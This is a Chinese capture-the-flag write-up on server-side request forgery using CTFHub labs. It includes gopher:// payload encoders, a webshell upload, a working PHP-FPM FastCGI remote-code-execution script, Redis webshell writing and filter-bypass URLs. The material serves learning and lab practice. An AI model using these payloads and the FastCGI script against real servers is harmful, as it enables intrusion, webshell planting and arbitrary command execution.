[WEB安全] 通过CTFHub学习SSRF


img

1. 基础认识

1.1 SSRF简介

SSRF:即服务器请求伪造(Server-Side Request Forgery),由攻击者构造形成服务端发起请求的安全漏洞

  • 形成原因:服务端提供从其它服务器获取数据的功能,但没有对目标地址做过滤和限制(比如从指定的URL获取图片,文本,下载链接等)
  • 攻击目标:一般是外网无法访问的内部系统

作用

  • 可以扫描内部网络,探测内网主机存活(比如C段的IP和端口等)

  • 发送GET或POST请求,攻击内网应用(如FastCGl,Redis)

  • 识别内部系统,版本信息,操作内网redis访问等

  • 读取本地文件

<?php
  
if ($_GET['url']) {
    $url = $_GET['url'];
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
    $data = curl_exec($ch);
    $curl_errno = curl_errno($ch);
    $curl_error = curl_error($ch);
    curl_close($ch);
    if ($curl_errno > 0) {
        echo "cURL Error ($curl_errno): $curl_error\n";
    } else {
        echo "$data\n";
    }
} else {
    highlight_file(__FILE__);
}
?>
1.2 CTFHub——内网访问:http://

根据提示信息,在网站目录下有一个 flag.php 文件,可以使用 http 协议直接访问内部网络获取

payload: ?url=http://127.0.0.1/flag.php

img

img

1.3 CTFHub——伪协议读取本地文件:file://
  • file:// 协议:可以用来获取文件内容

根据提示信息,web目录下存在 flag.php 文件,需要知道的是,通常Linux环境搭建的网站路径为 /var/www/html

payload: ?url=file:///var/www/html/flag.php

img

  • 这里有个坑,flag藏在文件源码的注释中,需要查看源码才能看到

img

1.4 CTFHub——端口扫描 dict://
  • dict:// 协议:能够探测开放的端口,可用于端口扫描

根据提示信息,需要对端口进行扫描,使用 dict:// 协议构造 payload,然后使用burpsuite或者脚本直接扫描即可

payload: ?url=dict://127.0.0.1:port

扫描出开放的端口后再使用 http 协议访问即可

img

img

img

img


2. Gopher协议

2.1 Gopher协议简介
  • gopher:// 协议:
  1. Gopher协议格式:gopher://<ip>:<port>/_{TCP/IP数据流}
    {}前的下划线可以是任意的,没有特定的要求,但这里必须要多一个字符,通常用下划线
  2. 默认端口使用的是tcp70
  3. 是一种信息查找系统,将internet上的文件组织成某种索引,方便用户进行转移
  4. www出现前,Gopherinternet上主要的信息检索工具,Gopher站点也是最主要的站点
  • gopher:// 协议
# 在win10中使用下面的命令(配置好python3环境,也可使用nc替代)
python -m http.server 8080

# 在kali中发起请求
curl gopher://192.168.10.36:8080/_hello_kele

img

img

img

2.2 gopher:// 发送GET请求
  • 使用PHP测试,下面内容用来接收一个GET请求然后输出内容
<?php

$name = $_GET['name'];
echo "Hello " . $name;
  • 构造GET请求数据

HTTP请求头以换行作为结束,所以最后面需要添加一个换行

GET /test.php?name=Kele HTTP/1.1
Host: 127.0.0.1
  • 使用PHP脚本进行编码
<?php

function convert($str)
{
    return str_replace('+', '%20', $str);
}


// 构造GET提交参数,最后面一定要有一个换行
$get_info = 'GET /test.php?name=Kele HTTP/1.1
Host: 127.0.0.1
';

$get_info_url = urlencode($get_info);
$payload = "gopher://192.168.10.36:80/_" . convert($get_info_url);
echo $payload;
  • 在kali中使用curl命令发送请求(不一定要使用kail,只需要curl命令支持gopher://协议即可)

img

2.3 gopher:// 发送POST请求
  • PHP测试代码
<?php

$name = $_POST['name'];
echo "Hello {$name}";
  • 构造POST请求数据
POST /test1.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

name=Kele
  • 使用PHP脚本进行编码
<?php

function convert($str)
{
    return str_replace('+', '%20', $str);
}


$post_info = 'POST /test1.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

name=Kele';

$post_info_url = urlencode($post_info);
$payload = "gopher://192.168.10.36:80/_" . convert($post_info_url);
echo $payload;
  • kali中使用curl请求数据

img

2.4 CTFHub——POST请求

img

  • 首先利用file://协议可以读取任意文件

img

  • 使用file://协议尝试直接读取flag.php,这里看到源代码,代码分析
  1. REMOTE_ADDR会验证是否是本地发送的请求,而且不能绕过
  2. 需要POST提交一个key参数才能获得flag
  3. 最后面有一个<?php echo $key;?>,访问文件能够获得key值

img

  • 查看index.php文件,可以通过控制url参数进行SSRF攻击

img

  • 这里直接使用http://协议访问flag.php文件

存在一个问题,这里虽然获得了key的值,但是如果直接提交能被检测到不是本地提交的

img

  • 利用gopher://协议可以传输http数据,也即可以发送GET和POST请求

尝试构造一个POST请求数据包,里面包含key值,然后使用gopher://发送数据

  • HTTP数据如下
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c688f73db0c0e0f57494dd69e0a3a60b
  • 利用PHP构造数据
<?php

function convert($str)
{
    $res = str_replace('+', '%20', $str);
    $res = str_replace('%', '%25', $res);	// 这里相当于进行二次URL编码

    return $res;
}

// CTFHUB
$post_info = "POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c688f73db0c0e0f57494dd69e0a3a60b";

$post_info_url = urlencode($post_info);
$payload = "gopher://127.0.0.1:80/_" . convert($post_info_url);

echo $payload;
  • 获得payload如下,直接请求即可获得flag
gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc688f73db0c0e0f57494dd69e0a3a60b

img

2.5 CTFHub——上传文件
  • 直接看index.php文件,和之前的一样

img

  • 再看flag.php文件,需要上传一个文件,而且只能本地上传
  • 在POST请求那里,构造过POST请求,这里上传文件也一样,尝试构造一个文件上传的http请求,然后使用gopher协议上传

img

  • 设置好代理,使用burp抓包,先用http协议直接访问内部文件,但是这里不能直接提交,直接提交的IP不是服务器本地的,会上传失败
  • 原来的代码是没有提交按钮的,这里自己添加一个节点,用来提交文件

img

  • 在提交文件时,使用burp抓包获取到上传的http协议内容

img

  • 将内容直接复制出来,然后将Host改成127.0.0.1 ,得到下面内容,这就是要上传的内容
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------203392955924959
Content-Length: 353

-----------------------------203392955924959
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[cmd]); echo 'luck'; ?>
-----------------------------203392955924959
Content-Disposition: form-data; name="file"

提交查询
-----------------------------203392955924959--
  • 同样的构造POST请求内容,使用PHP进行编码
<?php

function convert($str){
    $res = str_replace('+', '%20', $str);
    $res = str_replace('%', '%25', $res);

    return $res;
}

$post_file = 'POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://challenge-866a7626687d7d14.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------203392955924959
Content-Length: 353

-----------------------------203392955924959
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[cmd]); echo \'luck\'; ?>
-----------------------------203392955924959
Content-Disposition: form-data; name="file"

提交查询
-----------------------------203392955924959--
';

$post_info_url = urlencode($post_file);
$payload = "gopher://127.0.0.1:80/_" . convert($post_info_url);
echo $payload;
  • 得到payload
gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520%2528Windows%2520NT%252010.0%253B%2520WOW64%253B%2520rv%253A52.0%2529%2520Gecko%252F20100101%2520Firefox%252F52.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252C%252A%252F%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Cen-US%253Bq%253D0.5%252Cen%253Bq%253D0.3%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-866a7626687d7d14.sandbox.ctfhub.com%253A10800%252F%253Furl%253Dhttp%253A%252F%252F127.0.0.1%252Fflag.php%250D%250ADNT%253A%25201%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------203392955924959%250D%250AContent-Length%253A%2520353%250D%250A%250D%250A-----------------------------203392955924959%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application%252Foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bcmd%255D%2529%253B%2520echo%2520%2527luck%2527%253B%2520%253F%253E%250D%250A-----------------------------203392955924959%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------203392955924959--%250D%250A
  • 直接提交获得flag

img


3. FastCGI

3.1 CGI和FastCGI
  • CGI
  1. CGI(Common Gateway Interface):全称“通用网关接口”,是用于HTTP服务器与其他机器上程序服务通信交流的一种工具
  2. CGI程序运行在网络服务器上,传统的CGI接口性能较差,而且安全性也比较差
  3. 在每次HTTP服务器遇到动态程序时都要重启解析器执行解析,然后再返回给HTTP服务器,此特性导致很难处理高并发访问
  • FastCGI
  1. FastCGI是在CGI的基础上诞生出来的
  2. FastCGI是一个可伸缩,能在HTTP服务器和动态脚本语言之间高速通信的接口
  3. 在Linux中,FastCGI接口是socket,可以是文件socket,也可是ip socket
  4. 优点:能够将动态语言和HTTP服务器分离开来
3.2 FastCGI协议
  • FastCGI实际上属于一种通信协议,同HTTP协议一样,也存在请求头(Header)和请求体(Body)

  • 对比HTTP协议来说,FastCGI协议是服务器中间件和后端语言进行数据交换的一种协议(比如PHP-FPM)

  • FastCGI协议由多个记录(record)组成,服务器将请求头和请求体的record按照FastCGI的规则进行封装,然后发送给后端语言。当后端语言解析后获得具体的数据,再进行指定的操作,然后将结果按照该协议封装返回给服务器中间件

  • PHP-FPM (FastCGI进程管理器)

  1. FPM实际上就是FastCGI协议的解释器,Nginx等服务器中间件能将用户的请求按照FastCGI规则打包通过TCP传输给FPM,然后再被FPM按照协议的规则解析成具体的数据
  2. PHP-FPM是FastCGI的具体实现,且提供进程管理功能(包含master和worker进程)
  • master进程:负责与WEB服务器进行通信,接受HTTP请求,再将请求转发给worker进程处理
  • worker进程负责动态执行PHP代码,处理结束后将结果返回给WEB服务器,再由WEB服务器将结果返回给客户端
  • FastCGI的请求报文
  1. 在后端语言解析FastCGI头以后,拿到contentLength,然后在TCP流中读取大小等于此长度的数据,也即Body
  2. 在Body后的数据paddingData,它的长度由Header中的paddingLength指定,如果不需要此数据,可将其长度设置为0
  • 注意:一个FastCGI record中,body的最大长度是 2^16,也即65536字节
  • Header的主要内容:
  1. Version: 用于表示 FastCGI 协议版本号。
  2. Type: 用于标识 FastCGI 消息的类型 - 用于指定处理这个消息的方法。
  3. RequestID: 标识出当前所属的 FastCGI 请求。
  4. Content Length: 数据包包体所占字节数。

RequestID的主要作用:

  1. 在WEB服务器与FastCGI进程之间的连接可能会处理多个请求,采用的是数据包协议,而非数据流,因此可以实现一个连接处理多个请求,实现多路复用
  2. 如果每个数据包都包含唯一标识的RequestID,当WEB服务器发送任意数量的请求时,FastCGI进程也能通过一个连接获取到任意数量的请求数据包
  3. WEB服务器与FastCGI之间的通信是无序的,在同一时间WEB服务器可能会发送任意数量的请求数据包给FastCGI
typedef struct {
    /* Header */
    unsigned char version;  // 版本
    unsigned char type;      // record类型
    unsigned char requestIdB1;    // record对应的请求id
    unsigned char requestIdB0;        
    unsigned char contentLengthB1;    //负载长度(也即body的大小)
    unsigned char contentLengthB0;
    unsigned char paddingLength;      //填充长度
    unsigned char reserved;              //保留字节
    
    /* Body */
    unsigned char contentData[contentLength]; //负载数据
    unsigned char paddingData[paddingLength]; //填充数据
} FCGI_Record;
3.3 ssrf-FastCGI任意代码执行
  • php.ini 中的两个配置项
  1. auto_prepend_file用来告诉PHP在执行文件之前,先包含auto_prepend_file中所指定的文件
  2. auto_append_file用来告诉PHP在执行完目标文件后,包含auto_append_file指向的文件

img

  • 利用原理
  1. auto_prepend_file=php://input,相当于在执行任何PHP文件时都要包含POST提交的内容,如果在Body中放入待执行的代码,且allow_url_include被打开,则能成功执行Body中的代码
  2. 设置auto_prepend_file=php://input
  • PHP-FPM中有两个环境变量:PHP_VALUEPHP_ADMIN_VALUE(这两个环境变量可以用来设置PHP配置项)
  • PHP_VALUE 可以设置PHP_INI_USER``PHP_INI_ALL的选项
  • PHP_ADMIN_VALUE则可以设置所有的选项(disable_function除外)
  1. 利用的一个条件是需要知道任意PHP文件的绝对路径(可以直接爆破获得,或者使用默认配置文件获取)
  • 工具使用

Gopherus: https://github.com/tarunkant/Gopherus

  • python2 gopherus.py --exploit fastcgi
  • 然后输入PHP文件的绝对路径和需要执行的命令即可
  • python脚本
  1. 需要使用nc监听9000端口:nc -lvvp 9000 > fastcgi.txt
  2. 执行脚本,然后让nc接收python3 fpm.py host path:/*.php -c code -p 9000
  3. 然后对文件内容进行提取,再使用gopher://协议提交
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))
3.4 CTFHub——FastCGI
  • 使用Gopherus生成payload直接攻击(利用/var/www/html/index.php文件路径)

img

img


4. Redis

  • 题目是攻击Redis,所以直接dict://协议进行端口扫描,出现如下内容,很明显的存在Redis服务

img

  • 直接使用Gopherus工具生成payload

img

  • 将payload进行第二次URL编码后提交

img

  • 接下来访问shell.php,然后POST一个cmd=phpinfo();,能够执行,说明成功写入一句话木马
  • 然后只需要将phpinfo();换成system();即可执行命令
  • 也可以使用菜刀或者蚁剑连接,然后找到flag即可

img


5. Bypass

5.1 URL Bypass
  • url跳转bypass:根据不同的情况尝试
  1. 问号绕过:url=https://www.baidu.com?127.0.0.1/index.php

  2. @符号绕过:url=https://www.baidu.com@127.0.0.1/index.php

  3. #号绕过:url=https://www.baidu.com#127.0.0.1/index.php

  4. 反斜杠绕过

  5. 子域名绕过

  6. 畸形URL绕过

  7. 跳转IP绕过

img

  • 使用@符号即可绕过

img

5.2 数字IP Bypass
  • 过滤了127.0.0.0``0.0.0.0之类的

img

img

  • 替换成localhost即可

img

5.3 302跳转 Bypass
  • file://协议直接读文件

img

  • index.php的内容如下,过滤了127 172等内容

img

  • 没有过滤0.0.0.0,可以直接访问,也可以直接使用localhost

img

img

5.4 DNS重绑定 Bypass
  • 使用0.0.0.0就能获取了,阿欧……

img

img

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfhub是一个CTF训练平台,提供了多个CTF挑战模块,其中包括了SSRF模块。SSRF(Server-Side Request Forgery)是一种攻击技术,可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhubSSRF模块中,你可以学习和实践SSRF攻击技术,并利用平台上提供的漏洞来进行实验。 在SSRF中,有一个重要的点是请求可能会跟随302跳转。你可以尝试利用这个来绕过对IP的检测,访问位于127.0.0.1的flag.php文件,从而获取敏感信息。 此外,在SSRF中还可以使用Gopher协议来攻击内网的服务,例如Redis、Mysql、FastCGI、Ftp等等,并发送GET和POST请求。Gopher协议可以说是SSRF中的万金油,大大拓宽了SSRF的攻击面。你可以构造类似于"/?url=file:///var/www/html/flag.php"的本地地址来尝试攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [network-security:学习web安全练习的靶场,以及总结的思维导图和笔记](https://download.csdn.net/download/weixin_42118423/15763452)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTFHubSSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值